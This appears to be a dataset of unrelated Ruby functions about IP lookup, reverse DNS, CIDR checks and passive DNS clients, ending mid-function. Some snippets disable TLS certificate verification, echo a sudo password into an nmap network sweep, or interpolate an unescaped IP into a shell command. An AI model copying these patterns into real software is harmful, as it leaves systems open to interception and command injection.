[ "def cidr_lookup (ip)\n\t\tputs \"Lookup the CIDR name from the known CIDR list for the IP: #{ip}\" if @verbose\n\t\treturn nil if @known_cidr_blks==nil\n\t\tputs \"CIDR Lookup: #{ip} ...\" if @verbose\n\t\t@known_cidr_blks_desc_index.each do |line|\n\t\t\tfirst_octet_ip = ip.split('.').first.to_i\n\t\t\tfirst_octet_blk = line.split('.').first.to_i\n\t\t\tnext if first_octet_blk > first_octet_ip\n\t\t\tcidr4 = NetAddr::CIDR.create(line)\n\t\t\tknown = cidr4.contains?(ip+'/32')\n\t\t\treturn line if known\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn nil\n\tend", "def lookup(ip)\n uri = Addressable::URI.parse(\"https://ip-api.com/xml/#{ip}\")\n res = Net::HTTP.get_response(uri.normalize)\n MetaData.parse(res.body, single: true).freeze\n end", "def local_ip_2_host (ip)\n\t\tputs \"Reverse DNS lookup from the local host repository\" if @verbose\n\t\tip=ip.strip unless ip.nil?\n\t\tif @known_hosts.key?(ip)\n\t\t\treturn @known_hosts[ip]\n\t\telse\n\t\t\treturn nil\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\t\treturn nil\n\tend", "def locate\n @result ||= self.class.get(\n \"/\",\n :query => {:ip => @ip},\n :format => :xml\n )['HostipLookupResultSet']['gml:featureMember']\n end", "def GetIpFromId(id)\n #puts \"Error. GetIpFromId not defined\"\n #exit 1\n return @rstack.GetIpFromId(id)\n end", "def find_entry_by_ip_address(ip_address)\n @entries.find do |entry|\n !entry.ip_address.nil? && entry.ip_address == ip_address\n end\n end", "def lookup(label, limit=nil)\n $stderr.puts \"DEBUG: #{self.class.name}.lookup(#{label})\" if @debug\n Timeout::timeout(@timeout) {\n url = nil\n if label =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(\\/\\d{1,2})?$/\n label = label.gsub(/\\//,',')\n url = \"#{@base}/rdata/ip/#{label}\"\n else\n url = \"#{@base}/rrset/name/#{label}\"\n end\n url = URI.parse url\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = (url.scheme == 'https')\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.verify_depth = 5\n path = url.path\n if limit\n path << \"?limit=#{limit}\"\n end\n request = Net::HTTP::Get.new(path)\n request.add_field(\"User-Agent\", \"Ruby/#{RUBY_VERSION} passivedns-client rubygem v#{PassiveDNS::Client::VERSION}\")\n request.add_field(\"X-API-Key\", @key)\n request.add_field(\"Accept\", \"application/json\")\n t1 = Time.now\n response = http.request(request)\n if response.code.to_i == 404\n $stderr.puts \"DEBUG: empty response from server\" if @debug\n return\n end \n t2 = Time.now\n $stderr.puts response.body if @debug\n parse_json(response.body,t2-t1)\n }\n rescue Timeout::Error\n $stderr.puts \"#{self.class.name} lookup timed out: #{label}\"\n end", "def get(ip)\n return @cache[ip] if @cache.key?(ip)\n url = format(URL_FORMAT, ip)\n response = Curl.get(url).body_str\n ipapi = SimpleGeolocator::IPAPIResponse.new(Oj.load(response))\n @cache[ip] = ipapi\n end", "def find_rec(ip_value)\n lower, upper = 0, @db_size - 1\n prev_rec = nil\n loop do\n ofst = lower + ((upper - lower) / 2)\n rec = next_rec_from_ofst(ofst)\n if rec == prev_rec\n # We have narrowed the search to where we're hitting\n # the same record each time. Can't get any narrower.\n # But these are variable-length records, so there may\n # be one or more at our lower bound we haven't seen.\n # Do a linear scan from our lower bound to examine the\n # few records remaining.\n ofst = lower\n while (rec = next_rec_from_ofst(ofst)) != prev_rec\n return rec if rec.contains? ip_value\n ofst = @db_pos\n end\n raise(\"no record found for ip_value #{ip_value}\")\n end\n return rec if rec.contains? ip_value\n if ip_value < rec.from\n upper = ofst\n else\n lower = @db_pos\n end\n prev_rec = rec\n end end", "def resolve!\n Resolv.each_address(host) do |address|\n return @ip = address if address =~ pattern\n end\n end", "def find_private_ip\n ip_addresses = interface_addresses\n ip_addresses.each do |ip|\n if ip.start_with?(\"192\") || ip.start_with?(\"10\")\n return ip\n end\n end\n return nil\n end", "def find_for_ip(string)\n begin\n ip = IPAddr.new(string)\n type = ip.ipv4? ? TYPE_IPV4 : TYPE_IPV6\n _definitions(type).each do |_, definition|\n return factory(type, *definition) if IPAddr.new(definition.first).include?(ip)\n end\n rescue ArgumentError\n # continue\n nil\n end\n raise AllocationUnknown, \"IP Allocation for `#{string}' unknown\"\n end", "def ptr(ip)\n # use cache if ip was already resolved\n return @cache[ip] if @cache[ip]\n\n begin\n name = @hypedns.getname(ip).to_s\n @cache[ip] = name\n return name\n rescue Resolv::ResolvError, SocketError\n return nil\n end\n end", "def search_node(ip)\n found = nil\n @known_nodes.each do |node|\n if node.is_you? ip\n found = node\n end\n end\n return found\n end", "def ip\n @ip ||= @node.search('IP/listEntry').map(&:inner_text)\n end", "def lookup(label, limit=nil)\n $stderr.puts \"DEBUG: #{self.class.name}.lookup(#{label})\" if @debug\n Timeout::timeout(@timeout) {\n url = nil\n params = {\"rrType\" => \"\", \"maxResults\" => limit || 1000}\n \n if label =~ /^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}$/\n url = @url+\"/dns/data\"\n params[\"ip\"] = label \n else\n resource = api_settings[@version][:resource]\n param = api_settings[@version][:param]\n url = @url+\"/dns/#{resource}\"\n params[param] = label\n end\n url << \"?\"\n params.each do |k,v|\n url << \"#{k}=#{v}&\"\n end\n url.gsub!(/\\&$/,\"\")\n \n $stderr.puts \"DEBUG: #{self.class.name} url = #{url}\" if @debug\n url = URI.parse url\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = (url.scheme == 'https')\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.verify_depth = 5\n request = Net::HTTP::Get.new(url.request_uri)\n request.add_field(\"User-Agent\", \"Ruby/#{RUBY_VERSION} passivedns-client rubygem v#{PassiveDNS::Client::VERSION}\")\n request.add_field('Accept', 'Application/JSON')\n request.add_field('Content-Type', 'Application/JSON')\n request.basic_auth(@token, @privkey)\n t1 = Time.now\n response = http.request(request)\n t2 = Time.now\n recs = parse_json(response.body, label, t2-t1)\n if limit\n recs[0,limit]\n else\n recs\n end\n }\n rescue Timeout::Error\n $stderr.puts \"#{self.class.name} lookup timed out: #{label}\"\n end", "def local_host_2_ip (host)\n\t\tputs \"DNS lookup from the local host repository\" if @verbose\n\t\thost=host.strip unless host.nil?\n\t\tif @known_hosts.key?(host)\n\t\t\treturn @known_hosts[host]\n\t\telse\n\t\t\treturn nil\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\t\treturn nil\n\tend", "def dns_find(key)\n \n end", "def check(ip_addr)\n ip = IPAddr.new(ip_addr)\n\t\tquery = \"#{@key}.#{ip.reverse.gsub(\"in-addr.arpa\", \"dnsbl.httpbl.org\")}\"\n\n\t\tbegin\n\t\t\tlookup = Resolv.getaddress(query)\n\t\t\tvalues = lookup.split(\".\")\n\t\t\t{ :last_activity => values[1],\n\t\t\t :threat => values[2],\n\t\t\t :type => TYPE[values[3]],\n\t\t\t :raw_data => lookup\n\t\t\t}\n\t\trescue\n\t\t\treturn { :type => [:error] }\n\t\tend\n\tend", "def query_ip_address(ip, params={})\n Validation.validate_ip! ip\n query ip, params\n end", "def get_ip(ip)\n\n #Recorremos todas las reservaciones del usuario\n Reservation.all.each do |reservation|\n #Si la ip de la reservacion es igual a la ip solicitante y tiene un asiento reservado\n # entonces le asigna una ip\n if reservation.ip == ip && (reservation.seat.reserved)\n #se le asigna una nueva ip\n ip = get_ip(add_number(ip))\n end\n end\n return ip\n end", "def find_internal_ip(nodes, tag)\n if @provider == 'aws'\n find_pip_for_tag(nodes, tag)\n elsif @provider == 'rackspace' or @provider == 'openstack'\n find_key_for_tag(nodes, tag)\n end\n end", "def lookup_device(ip)\n\t\t@map[ip]\n\tend", "def find_whitelisted_ip(rip)\n ret = (Sqreen.whitelisted_ips || {}).find do |_, ip|\n ip.include?(rip)\n end\n return nil unless ret\n ret.first\n end", "def search_host\n begin\n if @host_search\n @host = Resolv.getname self.ip.to_s\n else\n @host = nil\n end\n rescue Resolv::ResolvError\n @host = nil\n end\n end", "def ip\n @ip ||= select { |type,value| type == :ip }.map do |(type,value)|\n IPAddr.new(value)\n end\n end", "def unused_ip args = {}\n # first check if we already have a record for this host\n # if we do, we can simply reuse the same ip address.\n if args[:mac] and r=has_mac?(args[:mac], :all) and valid_range(args).include?(r.ip)\n logger.debug \"Found an existing dhcp record #{r}, reusing...\"\n return r.ip\n end\n\n free_ips = valid_range(args) - records.collect{|r| r.ip}\n if free_ips.empty?\n logger.warn \"No free IPs at #{to_s}\"\n return nil\n else\n @index = 0\n begin\n # Read and lock the storage file\n stored_index = get_index_and_lock(\"foreman-proxy_#{network}_#{cidr}.tmp\")\n\n free_ips.rotate(stored_index).each do |ip|\n logger.debug \"Searching for free IP - pinging #{ip}\"\n if tcp_pingable?(ip) or icmp_pingable?(ip)\n logger.info \"Found a pingable IP(#{ip}) address which does not have a Proxy::DHCP record\"\n else\n logger.debug \"Found free IP #{ip} out of a total of #{free_ips.size} free IPs\"\n @index = free_ips.index(ip)+1\n return ip\n end\n end\n logger.warn \"No free IPs at #{to_s}\"\n rescue Exception => e\n logger.debug e.message\n ensure\n # ensure we unlock the storage file\n set_index_and_unlock @index\n end\n nil\n end\n end", "def ip_info(ip,\r\n reverse_lookup = false)\r\n # Prepare query url.\r\n _path_url = '/ip-info'\r\n _query_builder = Configuration.get_base_uri\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'accept' => 'application/json'\r\n }\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'output-case' => 'camel',\r\n 'ip' => ip,\r\n 'reverse-lookup' => reverse_lookup\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n headers: _headers,\r\n parameters: _parameters\r\n )\r\n CustomQueryAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\r\n IPInfoResponse.from_hash(decoded)\r\n end", "def line_from_ip(ip)\n return -1 unless @lines\n return 0 if @lines.size < 2\n\n low = 0\n high = @lines.size / 2 - 1\n\n while low <= high\n # the chance that we're going from a fixnum to a bignum\n # here is low, but we still try to prevent that.\n mid = low + ((high - low) / 2)\n\n line_index = mid * 2 + 1\n\n if ip < @lines.at(line_index - 1)\n high = mid - 1\n elsif ip >= @lines.at(line_index + 1)\n low = mid + 1\n else\n return @lines.at(line_index)\n end\n end\n\n @lines.at(@lines.size - 2)\n end", "def findByAddr(ip, port)\n @peersByAddr[ip + port.to_s]\n end", "def site_ip_known?(ip)\n\t\tip=ip.chomp.strip\n\t\tknown=false\n\t\tif is_ip?(ip)\n\t\t\t@known_sites.keys.map do |site|\n\t\t\t\tif @known_sites[site]['ip']==ip\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tmyDis=nil\n\t\treturn known\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\"\n\t\treturn false\n\tend", "def get_all(ip)\n\t\tself.v4 = ip.length == 4 && self.ip_version == 4\n\t\tipnum = ip.unpack(\"N\")[0] + 0\n\t\tmid = self.count/2\n\t\tcol_length = columns * 4\n\t\tlow = 0\n\t\thigh = count\n\t\treturn self.record = bsearch(low, high, ipnum, self.base_addr, col_length)\n\tend", "def check_ip; end", "def get_search_engine_with_ip searched_ip\n SEARCH_ENGINES_IPS_LIST.each do |human_id, data_ip|\n data_ip[:ips].each do |reg_ip|\n if searched_ip.match(reg_ip) != nil\n Connexions::SearchEngine[human_id] || begin\n Connexions::SearchEngine.add(Connexions::SearchEngine.new(human_id))\n end\n return Connexions::SearchEngine[human_id]\n end\n end\n end\n return nil\n end", "def get_node_ip(key)\n return @iplist[get_hash(key, @iplist.size)]\n end", "def ip_exist?\n return false if current_resource.addresses.nil?\n current_resource.addresses.include?(new_resource.address)\n end", "def resolve_node(result)\n begin\n return Resolv.getname(result[:ip])\n rescue => detail\n Puppet.err _(\"Could not resolve %{ip}: %{detail}\") % { ip: result[:ip], detail: detail }\n end\n result[:ip]\n end", "def reverse_dns_lookup (ip)\n\t\tputs \"Retrieve the hostname by the reverse DNS lookup on IP: #{ip}\"\n\t\thostname = ip\n\t\tbegin\n\t\t\thostname = Socket.gethostbyaddr(ip.split('.').collect{ |x| x.to_i}.pack(\"CCCC\"))[0]\n\t\t\treturn hostname.downcase\n\t\trescue => ee\n\t\t\tputs \"Exception on method reverse_dns_lookup: #{ee}\" if @verbose\n\t\t\treturn hostname\n\t\tend\n\tend", "def find(item, options = {})\n return { safe: true, type: :unknown } if item.to_s.strip.empty?\n\n category = categorize_ip_or_uri(item)\n reason, found = send \"unsafe_#{category}?\", item, options\n data = options.merge(safe: !found, type: category)\n return data unless found\n\n data.merge(reason: reason, identified: found)\n end", "def geoiplookup(ip, geo=false)\n checkip?(ip)\n t = country(ip, geo)\n city(ip, geo)\n unless t == false\n # Check if @longitude / @latitude exists for Reverse Geocoding options\n if instance_variable_defined?(\"@latitude\") and instance_variable_defined?(\"@longitude\")\n res = [@latitude, @longitude]\n else\n res = \"(#{@continent_name}) - \\n\"\n @country_name.each {|n|\n res << \"[ #{n} ]\" unless n == \"\"\n }\n @city_name.each {|n|\n res << \"[ #{n} ] \" unless n == \"\"\n }\n initialize\n end\n else\n res = \"Not Available\"\n end\n return res\n end", "def get_ip(ip_name, resource_group = armrest_configuration.resource_group)\n get(ip_name, resource_group).properties.ip_address\n end", "def ip\n ip = nil\n\n unless valid?\n return nil\n end\n\n begin\n case name\n when /\\.in-addr\\.arpa$/\n name_without_suffix = name.sub(/\\.in-addr\\.arpa$/, '')\n quads = name_without_suffix.split('.')\n if quads.size == 4\n quads.reverse!\n ip = quads.join('.')\n end\n when /\\.ip6\\.arpa$/\n name_without_suffix = name.sub(/\\.ip6\\.arpa$/, '')\n nibbles = name_without_suffix.split('.')\n nibbles.each do |nibble|\n if nibble.empty?\n raise DnsRecord::EmptyNibbleError\n end\n end\n if nibbles.size == 32\n n = nibbles.reverse!\n ip = \\\n n[0..3].join('') + \":\" +\n n[4..7].join('') + \":\" +\n n[8..11].join('') + \":\" +\n n[12..15].join('') + \":\" +\n n[16..19].join('') + \":\" +\n n[20..23].join('') + \":\" +\n n[24..27].join('') + \":\" +\n n[28..31].join('')\n \n ip = NetAddr::CIDR.create(ip).ip(:Short => true)\n end\n end\n rescue DnsRecord::EmptyNibbleError\n ip = nil\n end\n\n ip\n end", "def private_ip_address\n private_ip_addresses.first\n end", "def getAddressInfo(path)\n Ipvalidation.validate(path)\n call(path)\n end", "def external_ip\n begin\n ip = OpenURI.open_uri(\"http://myip.dk\") {|f|f.read.scan(/([0-9]{1,3}\\.){3}[0-9]{1,3}/); $~.to_s}\n rescue\n ip = local_ip\n puts \"Seems like there is a problem adquiring external IP address, ...using local address: (#{ip})\"\n end\n ip\n end", "def check_address(ip)\n @r.rule(:check, src: ip, chain: @allow, jump: 'ACCEPT').do?\n end", "def check_address(ip)\n @r.rule(:check, src: ip, chain: @allow, jump: 'ACCEPT').do?\n end", "def primary_institution_from_ip\n Institutions.with_ip(request.remote_ip).first unless request.nil?\n end", "def detect_ip\n mac = vm_info['VM']['TEMPLATE']['NIC']['MAC']\n 20.times do\n debug 'Trying to get IP...'\n out = `echo '#{config[:local_sudo_pass]}' | sudo -S nmap -sP -n 153.15.248.0/21`\n out = out.lines\n index = out.find_index { |s| s =~ /.*#{mac}.*/i }\n if index\n return out.to_a[index - 2].scan(/[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/)[0]\n end\n end\n warn \"Can't locate VM ip\"\n nil\n end", "def lookup(label, limit=nil)\n $stderr.puts \"DEBUG: #{self.class.name}.lookup(#{label})\" if @debug\n recs = []\n Timeout::timeout(@timeout) {\n url = @url+\"/\"+label\n $stderr.puts \"DEBUG: #{self.class.name} url = #{url}\" if @debug\n begin\n url = URI.parse url\n rescue URI::InvalidURIError\n $stderr.puts \"ERROR: Invalid address: #{url}\"\n return recs\n end\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = (url.scheme == 'https')\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.verify_depth = 5\n request = Net::HTTP::Get.new(url.request_uri)\n request.add_field(\"User-Agent\", \"Ruby/#{RUBY_VERSION} passivedns-client rubygem v#{PassiveDNS::Client::VERSION}\")\n if @username\n request.basic_auth(@username, @password)\n end\n if @auth_token\n request.add_field(\"Authorization\", @auth_token)\n end\n t1 = Time.now\n 0.upto(9) do\n response = http.request(request)\n body = response.body\n if body == \"Rate Limit Exceeded\"\n $stderr.puts \"DEBUG: Rate Limit Exceeded. Retrying #{label}\" if @debug\n else\n t2 = Time.now\n recs = parse_json(response.body, label, t2-t1)\n break\n end\n end\n if limit\n recs[0,limit]\n else\n recs\n end\n }\n rescue Timeout::Error\n $stderr.puts \"#{self.class.name} lookup timed out: #{label}\"\n recs\n end", "def ip\n unless @vm\n warn 'No Vm assigned to locate IP'\n return\n end\n @ip ||= detect_ip\n end", "def search_apility_by_ip entity_name, headers\n\n # Get the Api response\n response_body = http_get_body(\"https://api.apility.net/badip/#{entity_name}\",nil, headers)\n\n if response_body == \"Resource not found\"\n _log_error \"Response not found\"\n return\n end\n\n begin\n json = JSON.parse(response_body)\n rescue JSON::ParserError => e\n _log_error \"Error parsing JSON\"\n _log_error \"Response:\\n#{response_body}\"\n return\n end\n\n\n\n # Check if response different to nil\n if json[\"response\"]\n json[\"response\"].each do |e|\n source = e\n description = \"Apility.io is a blacklist aggregator\"\n\n # Create an issue if the ip is flaged in one of the blacklists\n _create_linked_issue(\"suspicious_activity_detected\", {\n status: \"confirmed\",\n additional_description: description,\n source: source,\n proof: \"This IP was founded related to suspicious activities in #{source}\",\n references: []\n })\n\n # Also store it on the entity\n blocked_list = @entity.get_detail(\"suspicious_activity_detected\") || []\n @entity.set_detail(\"suspicious_activity_detected\", blocked_list.concat([{source: source}]))\n\n end\n end\n end", "def get_ip_address\n items = `ifconfig | grep \"inet addr\"`.split\n addresses = []\n items.each do |item|\n addresses << item if item =~ /addr:/\n end\n ip = \"\"\n addresses.each do |address|\n ip = address.split(':')[1]\n if ip != '127.0.0.1'\n break\n end\n end\n ip\nend", "def ip_restrict\n allow_ips = Settings.ip_addresses.monstarlab.to_h.values.flatten\n allow_ips << \"::1\" if Rails.env.development?\n remote_ip = request.remote_ip\n\n return render_404 unless allow_ips.include? remote_ip\n end", "def institution_from_ip\n unless request.nil?\n @institution_from_ip ||= begin\n institutions_from_ip = institutions.find_all { |code, institution| institution.includes_ip? request.remote_ip }\n if institutions_from_ip.present?\n # Get first matching institution and get the last element from\n # [:NYU, Institution] array, that is, the actual Institution object\n institutions_from_ip.first.last\n end\n end\n end\n end", "def default_lookup(req, *args)\n req.address\n end", "def get_by_ip(ip)\n return nil if ip.blank?\n response = service.get_virtual_guest_by_ip(ip)\n bare_metal = false\n if response.status == 404 # we didn't find it as a VM, look for a BMC server\n response = service.get_bare_metal_server_by_ip(ip)\n bare_metal = true\n end\n data = response.body\n data['bare_metal'] = bare_metal\n new.merge_attributes(data)\n rescue Excon::Errors::NotFound\n nil\n end", "def find_open_ip(port)\n allocated_ips = get_allocated_private_ips\n\n open_ip = nil\n\n for host_ip in 1..127\n candidate_ip = UnixUser.get_ip_addr(@user.uid.to_i, host_ip)\n\n # Skip the IP if it's already assigned to an endpoint\n next if allocated_ips.include?(candidate_ip)\n\n # Check to ensure the IP/port is not currently bound to another process\n next if address_bound?(candidate_ip, port)\n \n open_ip = candidate_ip\n break\n end\n\n return open_ip\n end", "def reverse_name_lookup(ip, type = :A)\n # look for all the zones\n type = type.to_sym if type.class != Symbol\n dns_name = String.new\n @dns.domains.each do |zone|\n @dns.domains.get(zone.id).records.each do | record |\n if record.data == ip and record.type.to_sym == type\n dns_name = record.name\n break\n end\n end\n end\n return dns_name\n end", "def get_ip_address(name, eth)\n if ( eth_iface = network[:interfaces][eth] )\n eth_iface[:addresses].each do |key, info|\n linode[name] = key if info[\"family\"] == \"inet\"\n end\n end\n end", "def find_open_ip(port)\n allocated_ips = get_allocated_private_ips\n logger.debug(\"IPs already allocated for #{port} in gear #{@user.uuid}: #{allocated_ips}\")\n\n open_ip = nil\n\n for host_ip in 1..127\n candidate_ip = UnixUser.get_ip_addr(@user.uid.to_i, host_ip)\n\n # Skip the IP if it's already assigned to an endpoint\n next if allocated_ips.include?(candidate_ip)\n\n # Check to ensure the IP/port is not currently bound to another process\n if address_bound?(candidate_ip, port)\n logger.debug(\"Candidate address #{candidate_ip}:#{port} is unallocated by the gear\n but is already bound to another process and will be skipped\")\n next\n end\n\n open_ip = candidate_ip\n break\n end\n\n open_ip\n end", "def ips_matching_mask(ip_def, ip_mask)\n # Keep a cache of it\n # Hash<String, Hash<Integer, Array<String> > >\n # Hash<ip_def, ip_mask, ip\n @ips_mask = {} unless defined?(@ips_mask)\n @ips_mask[ip_def] = {} unless @ips_mask.key?(ip_def)\n unless @ips_mask[ip_def].key?(ip_mask)\n # For performance, keep a cache of all the IPAddress::IPv4 objects\n @ip_v4_cache = known_ips.keys.map { |ip, _node| [ip, IPAddress::IPv4.new(ip)] }.to_h unless defined?(@ip_v4_cache)\n ip_range = IPAddress::IPv4.new(\"#{ip_def}/#{ip_mask}\")\n @ips_mask[ip_def][ip_mask] = @ip_v4_cache.select { |_ip, ipv4| ip_range.include?(ipv4) }.keys\n end\n @ips_mask[ip_def][ip_mask]\n end", "def locate_by_ip\n request.location\n end", "def check_ip(oid, ar_id, ip, net_ar, error)\n if ip != ip.delete(' ')\n log_error(\"VNet #{oid} AR #{ar_id} \" \\\n \"IP \\\"#{ip}\\\" contains whitespaces\")\n\n error = true\n\n ip = ip.delete(' ')\n\n net_ar.at_xpath('IP').content = ip\n end\n\n [error, IPAddr.new(ip, Socket::AF_INET)]\n end", "def ip_address_record(env)\n data_type = env[:machine].provider_config.private_only ? \"primaryBackendNetworkComponent\" : \"primaryNetworkComponent\"\n data_type = \"primaryBackendNetworkComponent\" if env[:machine].provider_config.force_private_ip\n mask = \"#{data_type}.primaryIpAddressRecord.id,#{data_type}.primaryIpAddressRecord.ipAddress\"\n record = sl_warden { env[:sl_machine].object_mask(\"mask[#{mask}]\").getObject }\n return {\n :address => record[data_type][\"primaryIpAddressRecord\"][\"ipAddress\"],\n :id => record[data_type][\"primaryIpAddressRecord\"][\"id\"]\n }\n end", "def ip?(ip_or_name)\n # Get address always returns an IP, so if nothing changes this was one\n Resolv.getaddress(ip_or_name) == ip_or_name\n rescue Resolv::ResolvError\n false\n end", "def get_ip_address(name, eth)\n if eth_iface = network[:interfaces][eth]\n eth_iface[:addresses].each do |key, info|\n jpc2[name] = key if info['family'] == 'inet'\n end\n end\nend", "def get_ip_address(type)\n network[:interfaces].each do |iface, info|\n next unless info['type'] == 'eth'\n info[:addresses].each do |addr, detail|\n next unless detail['family'] == 'inet'\n case type\n when :public_ip\n return addr if !is_private?(addr)\n when :private_ip\n return addr if is_private?(addr)\n end\n end\n end\n return nil\n end", "def read_host_ip(ip)\n\t UDPSocket.open do |s|\n\t if(ip.kind_of?(Array))\n\t s.connect(ip.last, 1)\n\t else\n\t s.connect(ip, 1)\n\t end\n\t s.addr.last\n\t end\n\tend", "def location(ip, v = nil)\n r = db.look_up(ip)\n return v if r.nil?\n if v\n v.ip_latitude = r[:latitude]\n v.ip_longitude = r[:longitude]\n v.ip_country_code = r[:country_code]\n v.ip_country_name = r[:country_name]\n v.ip_city = r[:city]\n v.ip_dma_code = r[:dma_code]\n v.ip_area_code = r[:area_code]\n v.ip_region = r[:region]\n v\n else\n r\n end\n end", "def ipaddr?; end", "def find\n addrs = Socket.ip_address_list.select do |addr|\n addr.ipv4? and not(addr.ipv4_loopback?) and not(addr.ipv4_multicast?)\n end\n if not(addrs.empty?)\n privates = addrs.select{|addr| addr.ipv4_private?}\n not_privates = addrs - privates\n privates = privates.sort{|a,b| a.ip_address <=> b.ip_address}\n not_privates = not_privates.sort{|a, b| a.ip_address <=> b.ip_address}\n (privates + not_privates).map {|addr| addr.ip_address}\n else\n Socket.ip_address_list.select{|addr| addr.ipv4_loopback?}.map{|addr| addr.ip_address}\n end\n end", "def lookup(hostname, ttl)\n return unless @lookups.key?(hostname)\n\n @lookups[hostname] = @lookups[hostname].select do |address|\n address[\"TTL\"] > ttl\n end\n ips = @lookups[hostname].flat_map do |address|\n if address.key?(\"alias\")\n lookup(address[\"alias\"], ttl)\n else\n IPAddr.new(address[\"data\"])\n end\n end\n ips unless ips.empty?\n end", "def get_ip_address(id_unique)\r\n\tip_addr = $db.execute(\"SELECT ip_address FROM phone WHERE id_unique = ?\", id_unique)[0][0]\r\n\treturn ip_addr\t\r\nend", "def ipaddress\n resolve.nil? || resolve.empty? ? nil : resolve\n end", "def ip_address(env)\n ip_address_record(env)[:address]\n end", "def resolve(node)\n begin\n Timeout::timeout(@timeout) do\n Resolv.each_address(host) do |ip|\n if ip =~ Resolv::IPv4::Regex\n @ip ||= ip\n break\n end\n end\n raise Resolv::ResolvError unless @ip\n end\n @resolved ||= \"#{ip}:#{port}\"\n rescue Timeout::Error, Resolv::ResolvError\n Loggable.warn(\" MOPED:\", \"Could not resolve IP for: #{original}\", \"n/a\")\n node.down! and false\n end\n end", "def fetch_primary_ip_address\n capture(<<-GETADDR, :shell => \"bash\").chomp\n _if=\"$(netstat -nr | grep ^0\\.0\\.0\\.0 | awk '{print $8}')\";\n _ip=\"$(/sbin/ifconfig $_if | \\\n grep '^[[:space:]]*inet ' | awk '{print $2}' | \\\n awk -F':' '{print $2}')\";\n\n if [ -z \"$_ip\" -o \"$_ip\" == \"\" ] ; then\n echo \"\";\n return 10;\n else\n echo $_ip;\n fi\n GETADDR\nend", "def getIp()\n return @ip\n\tend", "def find_node_ip_in_network(network, nodeish = nil) # rubocop:disable MethodLength\n nodeish = node unless nodeish\n net = IPAddr.new(network)\n nodeish['network']['interfaces'].each do |iface, addrs|\n addrs['addresses'].each do |ip, params|\n if params['family'].eql?('inet6') && net.include?(ip)\n return \"[#{ip}]:6789\"\n elsif params['family'].eql?('inet') && net.include?(ip)\n return \"#{ip}:6789\"\n end\n end\n end\n nil\nend", "def resolve_node(result)\n begin\n return Resolv.getname(result[:ip])\n rescue => detail\n Puppet.err \"Could not resolve #{result[:ip]}: #{detail}\"\n end\n result[:ip]\n end", "def ip_trusted? (ip)\n\t\tputs \"Check if the IP within the range of the known CIDR blocks: #{ip}\" if @verbose\n\t\tknown = false\n\t\treturn false if @known_cidr_blks==nil\n\t\tfirst_octet_ip = ip.split('.').first.to_i\n\t\t@known_cidr_blks_desc_index.each do |line|\n\t\t\tfirst_octet_blk = line.split('.').first.to_i\n\t\t\tnext if first_octet_blk > first_octet_ip\n\t\t\tputs \"line: #{line}\" if @verbose\n\t\t\tcidr4 = NetAddr::CIDR.create(line)\n\t\t\tknown = cidr4.contains?(ip+'/32')\n\t\t\tbreak if known\n\t\tend\n\t\treturn known\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\t\treturn false\n\tend", "def request_ip(env)\n obtain_ip_from_rails(env) || obtain_ip_from_rack(env)\n end", "def ip_address\n raise ::Fission::Error,\"VM #{@name} does not exist\" unless self.exists?\n\n unless mac_address.nil?\n lease=LeasesFile.new(\"/var/db/vmware/vmnet-dhcpd-vmnet8.leases\").find_lease_by_mac(mac_address)\n if lease.nil?\n return nil\n else\n return lease.ip\n end\n else\n # No mac address was found for this machine so we can't calculate the ip-address\n return nil\n end\n end", "def next_ip\n\t\treturn false if not valid?\n\t\tif (@curr_addr > @ranges[@curr_range][1])\n\t\t\tif (@curr_range >= @ranges.length - 1)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\t@curr_range += 1\n\t\t\t@curr_addr = @ranges[@curr_range][0]\n\t\tend\n\t\taddr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range][2])\n\t\t@curr_addr += 1\n\t\treturn addr\n\tend", "def find_me(cidr)\n me = nil\n \n # find matching\n parent = find_parent(cidr,@root)\n parent.children.each do |entry|\n if (entry.cidr.version == cidr.version)\n if (IPAdmin.compare(entry.cidr,cidr) == 1)\n me = entry\n break\n end\n end\n end\n\n return(me)\n end", "def unsafe_ip?(item, options = {})\n return [:ip, item] if in_pool?(:ip, item)\n return unless options.fetch(:smarter, true)\n\n found = contained_in_network?(item)\n return [:in_network, found] if found\n end", "def has_ip?(ip, vm)\n all_ips_for(vm).include?(ip)\n end", "def interface_by_ip(ip)\n return `ifconfig |grep -B 2 -e \\\"#{ip} \\\" | awk '/Link encap/ {split ($0,A,\" \"); print A[1]}'`.chomp\n end", "def lookup!(mac)\n lookup(mac, raising: true)\n end", "def find_record\n @record = reply_address.record\n end", "def institution_from_ip\n unless request.nil?\n @institution_from_ip ||= Institutions.with_ip(request.remote_ip).first\n end\n end", "def first_ip_on_line(line, start=nil)\n i = 1\n total = @lines.size\n\n while i < total\n cur_line = @lines.at(i)\n if cur_line >= line\n ip = @lines.at(i-1)\n\n if !start or ip > start\n # matched the definition line, return 0\n return 0 if ip == -1\n return ip\n end\n end\n\n i += 2\n end\n\n nil\n end", "def address(public_ip)\n addresses(public_ip)[0]\n end", "def ips_24_matching_mask(ip_def, ip_mask)\n # Keep a cache of it\n # Hash<String, Hash<Integer, Array<String> > >\n # 